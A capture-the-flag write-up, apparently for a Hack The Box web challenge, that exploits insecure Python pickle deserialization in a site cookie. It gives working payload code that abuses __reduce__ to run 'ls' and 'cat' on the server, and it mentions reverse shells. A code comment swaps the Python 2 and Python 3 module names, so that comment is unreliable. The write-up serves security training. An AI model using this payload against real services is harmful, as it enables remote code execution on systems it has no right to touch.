baby website rick
All the references to pickles
implies it's an insecure deserialization
challenge. pickle is a serialization format used in python.
Cookie of the website:
plan_b:KGRwMApTJ3NlcnVtJwpwMQpjY29weV9yZWcKX3JlY29uc3RydWN0b3IKcDIKKGNfX21haW5fXwphbnRpX3BpY2tsZV9zZXJ1bQpwMwpjX19idWlsdGluX18Kb2JqZWN0CnA0Ck50cDUKUnA2CnMu
Base64 decoded:
(dp0
S'serum'
p1
ccopy_reg
_reconstructor
p2
(c__main__
anti_pickle_serum
p3
c__builtin__
object
p4
Ntp5
Rp6
s.
Unpickle
from base64 import b64decode
import pickle
code = b'KGRwMApTJ3NlcnVtJwpwMQpjY29weV9yZWcKX3JlY29uc3RydWN0b3IKcDIKKGNfX21haW5fXwphbnRpX3BpY2tsZV9zZXJ1bQpwMwpjX19idWlsdGluX18Kb2JqZWN0CnA0Ck50cDUKUnA2CnMu'
serum = pickle.loads(b64decode(code))
print(serum)
$ python unpickle.py
Traceback (most recent call last):
File "/home/kali/HTB/challenges/unpickle.py", line 7, in <module>
serum = pickle.loads(b64decode(code))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
AttributeError: Can't get attribute 'anti_pickle_serum' on <module '__main__' from '/home/kali/HTB/challenges/unpickle.py'>
The error is quite clear - there's no anti_pickle_serum
variable. Let's add one in and try again.
code=[...]
anti_pickle_serum = 'test'
.....
$ python unpickle.py
Traceback (most recent call last):
File "/home/kali/HTB/challenges/unpickle.py", line 7, in <module>
serum = pickle.loads(b64decode(code))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3.11/copyreg.py", line 49, in _reconstructor
obj = object.__new__(cls)
^^^^^^^^^^^^^^^^^^^
TypeError: object.__new__(X): X is not a type object (str)
Here it's throwing an error because X (anti_pickle_serum)
is not a type object - so let's make it a class extending from object.
from base64 import b64decode
import pickle
class anti_pickle_serum(object):
def __init__(self):
pass
code = b'KGRwMApTJ3NlcnVtJwpwMQpjY29weV9yZWcKX3JlY29uc3RydWN0b3IKcDIKKGNfX21haW5fXwphbnRpX3BpY2tsZV9zZXJ1bQpwMwpjX19idWlsdGluX18Kb2JqZWN0CnA0Ck50cDUKUnA2CnMu'
serum = pickle.loads(b64decode(code))
print(serum)
$ python unpickle.py
{'serum': <__main__.anti_pickle_serum object at 0x7f5bc322c450>}
So by implementing __reduce__
in a class which instances we are going to pickle, we can give the pickling process a callable plus some arguments to run. While intended for reconstructing objects, we can abuse this for getting our own reverse shell code executed.
from base64 import b64encode
#python2 use pickle
# import pickle
# python3 use cPickle
import cPickle
import os
import subprocess
class anti_pickle_serum(object):
def __reduce__(self): # function called by the pickler
#return os.system, (['whoami'],)
return subprocess.check_output, (['ls'],)
code = cPickle.dumps({'serum': anti_pickle_serum()}, protocol=0)
code = b64encode(code)
print(code)
subprocess.check_output
requires a list of parameters and the filename is a separate item in the list, like so:
return subprocess.check_output, (['cat', 'flag_wIp1b'],)